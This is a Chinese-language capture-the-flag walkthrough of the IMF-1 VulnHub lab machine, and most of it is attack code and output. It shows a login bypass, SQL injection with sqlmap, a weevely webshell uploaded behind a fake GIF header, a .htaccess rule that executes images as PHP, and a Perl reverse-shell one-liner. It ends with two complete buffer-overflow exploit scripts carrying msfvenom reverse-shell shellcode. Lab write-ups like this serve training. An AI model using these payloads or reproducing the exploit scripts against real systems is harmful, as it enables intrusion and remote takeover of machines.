IMF-1
该文章参考大余每日一攻防
1.nmap 192.168.81.0/24 -sP
Nmap scan report for 192.168.81.135 (192.168.81.135)
Host is up (0.00064s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
2.获得flag1、flag2
curl http://192.168.81.135/contact.php
<!-- flag1{YWxsdGhlZmlsZXM=} -->
<script src="js/ZmxhZzJ7YVcxbVl.js"></script>
<script src="js/XUnRhVzVwYzNS.js"></script>
<script src="js/eVlYUnZjZz09fQ==.min.js"></script>
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
imfadministrator
3.访问 http://192.168.81.135/imfadministrator/
Username:
Password:
4.获得用户名 http://192.168.81.135/contact.php#
rmichaels@imf.local
rmichaels@imf.local
estone@imf.local
5.测试用户名有效性
测试akeith、estone时候回显:Invalid username
测试rmichaels回显:Invalid password 找到了正确的用户名!
6.数组绕过
burpSuite 将pass修改为pass[]
flag3{Y29udGludWVUT2Ntcw==} ---> base64 解码 continueTOcms
Welcome, rmichaels
IMF CMS
获得flag3信息,解码:continueTOcms
发现这是IMF的CMS框架站!
7.sqlmap获取信息
GET /imfadministrator/cms.php?pagename=home HTTP/1.1
Host: 192.168.81.135
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.81.135/imfadministrator/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=avv93rp842k8f9i2vt19j5l280
Connection: close
将信息保存到cms.txt中
sqlmap -r cms.txt --dump
Database: admin
Table: pages
<img src="./images/whiteboard.jpg">
<img src="./images/redacted.jpg">
8.获得flag4
http://192.168.81.135/imfadministrator/images/whiteboard.jpg
扫描二维码
flag4{dXBsb2Fkcjk0Mi5waHA=}
解码:uploadr942.php
9.文件上传-webshell
http://192.168.81.135/imfadministrator/uploadr942.php
10.使用图片magic头部信息绕过WAF
GIF89a
<?php echo 'id'; ?>
保存为gif.gif
http://192.168.81.135/imfadministrator/uploadr942.php 上传文件:
<!-- 80a43ea9fa51 --> f12查看
curl http://192.168.81.135/imfadministrator/uploads/80a43ea9fa51.gif
GIF89a
id
11.getshell
weevely generate password weevely.php ---生成 weevely.php文件密码为password
generate ---生成新代理
生成的文件头部加入GIF98a并改名文件为weevely.gif
上传文件显示 : <!-- 41556ffd3c2a -->
获得shell:weevely http://192.168.81.135/imfadministrator/uploads/41556ffd3c2a.gif password
.htaccess(Hypertext Access)是 Apache 服务器中的一个配置文件,它允许用户在目录级别覆盖或补充主服务器配置。该文件可用于控制访问权限、重写 URL、设置字符编码等多种功能,并且可以在不同目录中存在,其配置仅对所在目录及其子目录生效。
AddType application/x-httpd-php .php .gif
AddHandler application/x-httpd-php .gif
12.反弹稳定SHELL
nc -vlp 6677
perl -e 'use Socket;$i="192.168.81.129";$p=6677;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python3 -c 'import pty; pty.spawn("/bin/bash")' ----环境仅安装了python3
ctrl+z
stty raw -echo
fg
13.flag5
在当前目录下看到有一个 flag5_abc123def.txt 文件。
echo "YWdlbnRzZXJ2aWNlcw==" | base64 -d
agentservices --agent services 服务
find / -name agent 2>/dev/null
/usr/local/bin/agent
/etc/xinetd.d/agent
查看文件内容:
# default: on
# description: The agent server serves agent sessions
# unencrypted agentid for authentication.
service agent
{
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/local/bin/agent
log_on_failure += USERID
disable = no
port = 7788
}
agent 同目录下还发现:
www-data@imf:/usr/local/bin$ cat access_codes
SYN 7482,8279,9467
敲震端口:
knock 192.168.81.135 7482 8279 9467
nmap 192.168.81.135 -p7788
----这时候7788端口开启
14.缓冲区提权
ltrace ./agent
fgets 读取字符串在 使用strncmp比较 strncmp("11\n", "48093572", 8)
puts("Main Menu:"Main Menu:
) = 11
puts("1. Extraction Points"1. Extraction Points
) = 21
puts("2. Request Extraction"2. Request Extraction
) = 22
puts("3. Submit Report"3. Submit Report
) = 17
puts("0. Exit"0. Exit
) = 8
printf("Enter selection: "Enter selection: )
gdb 调试
gdb ./agent
run
48093572
3
kali: /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
0x41366641 in ?? ()
根据值查偏移
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41366641
[*] Exact match at offset 168
查看 x/s $eax eax的值指向输入字符串开头
查看保护机制
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
只读重定位(Relocation Read - Only,RELRO)机制处于部分启用状态。RELRO 分为部分 RELRO 和完全 RELRO,部分 RELRO 会在程序加载时将全局偏移表(GOT)的一部分设置为只读,而完全 RELRO 会将整个 GOT 设置为只读。
创建后门
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.81.129 LPORT=6666 -f python -b "\x00\x0a\x0b"
payload:
-p 载荷类型
LHOST 本机地址
LPORT
-b 坏字符
-f 编译的语言
\x00 == 0x00 ASCII控制字符表中对应 NULL (空字符)
\x0a == 0X0a ASCII控制字符表中对应 LF (换行键)
\x0b == 0x0b ASCII控制字符表中对应 VT (垂直定位符号)
buf = b""
buf += b"\xd9\xca\xba\x88\x81\xd0\x19\xd9\x74\x24\xf4\x58"
buf += b"\x31\xc9\xb1\x12\x31\x50\x17\x03\x50\x17\x83\x60"
buf += b"\x7d\x32\xec\x41\xa5\x44\xec\xf2\x1a\xf8\x99\xf6"
buf += b"\x15\x1f\xed\x90\xe8\x60\x9d\x05\x43\x5f\x6f\x35"
buf += b"\xea\xd9\x96\x5d\x2d\xb1\x38\x1c\xc5\xc0\xba\x04"
buf += b"\x1c\x4c\x5b\x88\x46\x1e\xcd\xbb\x35\x9d\x64\xda"
buf += b"\xf7\x22\x24\x74\x66\x0c\xba\xec\x1e\x7d\x13\x8e"
buf += b"\xb7\x08\x88\x1c\x1b\x82\xae\x10\x90\x59\xb0"
15.编写py2exp.py
# -*- coding: utf-8 -*-
import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 面向网络的套接字
client.connect(('192.168.81.135', 7788)) # 连接
client.recv(512)
client.send("48093572\n") # 发送密码,并按enter
client.recv(512)
client.send("3\n") # 选择选项 3 并输入
client.recv(512)
# shellcode from msfvenom msf的shellcode木马
buf = b""
buf += b"\xb8\xa3\x2f\x47\x29\xd9\xe1\xd9\x74\x24\xf4\x5f"
buf += b"\x33\xc9\xb1\x12\x83\xef\xfc\x31\x47\x0e\x03\xe4"
buf += b"\x21\xa5\xdc\xdb\xe6\xde\xfc\x48\x5a\x72\x69\x6c"
buf += b"\xd5\x95\xdd\x16\x28\xd5\x8d\x8f\x02\xe9\x7c\xaf"
buf += b"\x2a\x6f\x86\xc7\x6c\x27\x29\x96\x05\x3a\xca\x82"
buf += b"\xdf\xb3\x2b\x02\xb9\x93\xfa\x31\xf5\x17\x74\x54"
buf += b"\x34\x97\xd4\xfe\xa9\xb7\xab\x96\x5d\xe7\x64\x04"
buf += b"\xf7\x7e\x99\x9a\x54\x08\xbf\xaa\x50\xc7\xc0"
# padding 填充字符
buf += "A" * (168 - len(buf))
# call eax gadget 调用eax jmp
buf += "\x63\x85\x04\x08\n"
client.send(buf)
16.编写py3exp.py
#!/usr/bin/python3
# Python3 buffer overflow PoC code
# for exploiting agent binary in IMF - Vulnhub
# Developed by SecNigma
import sys
import socket
rhost= "192.168.81.135" # change this to target IP
rport =7788
aid="48093572\n" # agent id to be entered
# change this shellcode to custom
# Generated by msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.9 LPORT=9001 -f python -b "\x00"
buf = b""
buf += b"\xd9\xca\xba\x88\x81\xd0\x19\xd9\x74\x24\xf4\x58"
buf += b"\x31\xc9\xb1\x12\x31\x50\x17\x03\x50\x17\x83\x60"
buf += b"\x7d\x32\xec\x41\xa5\x44\xec\xf2\x1a\xf8\x99\xf6"
buf += b"\x15\x1f\xed\x90\xe8\x60\x9d\x05\x43\x5f\x6f\x35"
buf += b"\xea\xd9\x96\x5d\x2d\xb1\x38\x1c\xc5\xc0\xba\x04"
buf += b"\x1c\x4c\x5b\x88\x46\x1e\xcd\xbb\x35\x9d\x64\xda"
buf += b"\xf7\x22\x24\x74\x66\x0c\xba\xec\x1e\x7d\x13\x8e"
buf += b"\xb7\x08\x88\x1c\x1b\x82\xae\x10\x90\x59\xb0"
# A's to fill the buffer upto 168
a = b'\x41'*(168-len(buf))
# Initiating the connection with the remote socket
socket=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.connect((rhost, rport))
# The print statements are commented out. If you want to see the output from
# the remote target, then uncomment the print statements.
stdout=socket.recv(1024)
#print(stdout.decode("utf-8"))
socket.send(bytes(aid,"utf-8"))
stdout=socket.recv(100)
#print(stdout.decode("utf-8"))
stdout=socket.recv(100)
#print(stdout.decode("utf-8"))
stdout=socket.recv(100)
#print(stdout.decode("utf-8"))
socket.send(bytes("3\r\n","utf-8"))
stdout=socket.recv(100)
#print(stdout.decode("utf-8"))
# 0x08048563 : call eax. Memory address of call eax opcode in agent binary.
# Obtained from "http://ropshell.com/ropsearch?h=fabc1afd43f668df0b812213567d032c&p=call+eax"
# Setting EIP to this address will redirect execution flow to code in EAX, which is the start of our shellcode.
eip=b'\x63\x85\x04\x08'
#Sending the payload
socket.send(buf+a+eip+b'\n')
# Payload structure
# _____________________________________________________________________________________________________________________________________________
# | | | | |
# |msfvenom reverse shellcode | A's to fill the buffer | eip | \n |
# | (length 95) | (length 168-95=73) | (memory address of call eax opcode) |(line break character to enter the value) |
# ---------------------------------------------------------------------------------------------------------------------------------------------
# Uncomment the following line to print the raw payload to stdout
#sys.stdout.buffer.write(buf+a+eip+b'\n')
stdout=socket.recv(1024)
#print(stdout)